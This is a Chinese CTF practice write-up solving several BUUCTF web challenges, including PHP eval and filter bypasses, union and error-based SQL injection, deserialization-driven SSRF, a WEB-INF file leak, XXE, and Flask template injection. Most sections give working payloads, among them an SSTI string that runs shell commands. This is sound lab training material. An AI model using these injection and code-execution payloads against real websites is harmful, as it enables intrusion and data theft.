buu练习2

前言

刷题没啥好说的,因为懒就没截图了,尽量说的清楚些。

[RoarCTF 2019]Easy Calc

进网页是个计算器,但是看js发现calc.php,进入发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

但是num参数只能传入数字,因此我们要绕过waf。方法就是在GET时问好后面加一个空格,这里用到了PHP的字符串解析特性。php解析时会把空白符删除,接着用chr()绕过其他waf内容就行了。

payload:

1
2
? num=var_dump(scandir(chr(47))) //扫描根目录
? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) //列出flag

[网鼎杯 2018]Fakebook

信息收集发现robots.txt泄露源码,审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

发现curl(),怀疑考察ssrf,寻找$url的注入点,登陆后发现view.php界面下存在注入点,进行测试,万能密码测试发现存在sql注入,报错注入查询数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//查库
?no=233/**/union/**/select/**/1,database(),3,4--+
fakebook

//查表
?no=233/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()--+
users

//查列名
?no=233/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'--+
no,username,passwd,data

//查数据
?no=233/**/union/**/select/**/1,group_concat(no,username,passwd,data),3,4/**/from/**/users--+
1
mrl64
ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413
O:8:"UserInfo":3:{s:4:"name";s:5:"mrl64";s:3:"age";i:233;s:4:"blog";s:15:"mrl64.ahaha.com";}

发现data中序列化内容,利用源码中的反序列化进行注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}

$a = new UserInfo();
echo serialize($a);

//O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

1
?no=233/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

[RoarCTF 2019]Easy Java

因为缺乏对应的知识这题想了挺久的,也是看了wp才学到的。进入网页是一个登陆页面,下面有个help,点进help发现url存疑:

1
http://c9fafc43-ee05-4188-981e-dff5ae10fed7.node4.buuoj.cn:81/Download?filename=help.docx

将GET传值改为POST后发现可以下载文件,但是flag不存在help.docx中,查询各种资料后发现这里要用到一个信息泄露:

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

因此我们POST值获取文件:

1
filename=WEB-INF/web.xml

查看文件找到flag目录,直接下载后解码:

1
2
http://c9fafc43-ee05-4188-981e-dff5ae10fed7.node4.buuoj.cn:81/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
//改为POST传值

[BJDCTF2020]EzPHP

审查元素发现提示,base32解码结果为1nD3x.php,访问页面查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

一步一步审计,第一步要绕过$_SERVER['QUERY_STRING'],这个函数不会进行urldecode,因此可以用url编码绕过。
第二步要绕过preg_match('/^$/'),这里用换行符绕过。
第三步$_REQUEST绕过,这里是根据POST优先级高于GET来绕过的。
第四步file_get_contents,老朋友伪协议就完事了。
第五步sha1()比较,数组就可以了。

因此构造payload:

1
2
3
4
5
?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1
&p%61sswd[]=2
POST:file=1&debu=1

最后是第六步,我们发现$code$arg是可控的,这里可以使用create_function()来绕过。

create_function()范例:

1
2
3
4
5
6
7
$mrl64 = create_function('$a,$b','return $a + &b')

等价于

function mrl64($a,$b){
return $a+$b;
}

利用这个函数,我们可以构建$code('',$arg)来进行绕过:

1
2
3
4
5
6
7
8
payload:
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//


等价于
function a('',$arg){
return }var_dump(get_defined_vars());//
}

这样构建的思路就是闭合a函数,并且跟上执行代码,最后用注释符将后面的内容注释掉,payload:

1
2
3
4
5
6
7
?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1
&p%61sswd[]=2
&fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}var_dump(get_defined_vars());//
debu=1&file=1

读取到变量:

1
["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" } 

但是访问进去后我们发现没有给我们flag,因此猜测可能flag被过滤了,要在前一个网页中读取,payload:

1
2
3
4
5
6
7
?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1
&p%61sswd[]=2
fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}require(base64_dec%6fde(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
debu=1&file=1

还是个假flag,那就用伪协议读取,获取flag,用取反绕过过滤。

[NCTF2019]True XML cookbook

这题按题目看是XXE,但是用xml配合伪协议读取源码没有发现什么有效内容,用源码中的账号密码也没有有用信息。思考XXE可以用来打内网,寻找存活主机,搜索/etc/hosts没有找到有效信息,看了wp知道了这里要读取/proc/net/arp文件,找到10.128.253.12

直接访问会报错,尝试爆破c段,最后爆破出正确网段,获取flag。

[Zer0pts2020]Can you guess it?

题目给了源码,直接审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64)); //生成一个随机数
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) { //比较guess与secret
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

我们是不可能猜出来这个随机数的,因此下半部分的代码基本没用,重要的部分在上面。

首先告诉我们flag在config.php中,接着发现highlight_file(basename($_SERVER['PHP_SELF']));这串代码,其中$_SERVER['PHP_SELF'])返回正在执行的脚本名,而basename()返回路径中的文件名部分,例如:

1
basename("/path/home.php")-->home.php

因此我们可以利用这个函数读取config.php文件,我们访问/index.php/config.php,这样我们访问的是index.php,但经过basename会返回config.php。但正则匹配了这个文件名,因此用不可打印字符绕过,构建payload读取flag:

1
/index.php/config.php/%ff?souce

[RCTF2015]EasySQL

看到注册登录以及提示sql,很明显的二次注入。注册账号时username设置:

1
'mrl64"\

接着发现可以改密码,尝试改密发现报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\" and pwd='c4ca4238a0b923820dcc509a6f75849b'' at line 1

因此判断是双引号包裹,推测sql语句:

1
select * from user where username="'mrl64"\" and password='c4ca4238a0b923820dcc509a6f75849b'

因此利用这点在注册出的username进行注入,记得要绕过waf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#

//web_sqli


1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

//article,flag,users


1"||(updatexml(1,concat(0x7e,(select(concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1))#

//real_flag_1s_here
//由于输出长度限制,这里用到了正则匹配使表名完全显示


1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

//flag{26d9bb05-00be-4bc0-bfcc-03
//无效信息太多导致flag无法显示,因此使用正则匹配

1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

//}d8ea481f9d30-ccfb-0cb4-eb00-50
//由于flag长度限制因此逆序输出后半部分flag

[CSCCTF 2019 Qual]FlaskLight

题目提示我们ssti,接着审查元素发现GET一个search元素,构建payload查找子类:

1
{{{}.__class__.__bases__[0].__subclasses__()}}

接着用subprocess.Popen进行命令执行,payload:

1
{{{}.__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}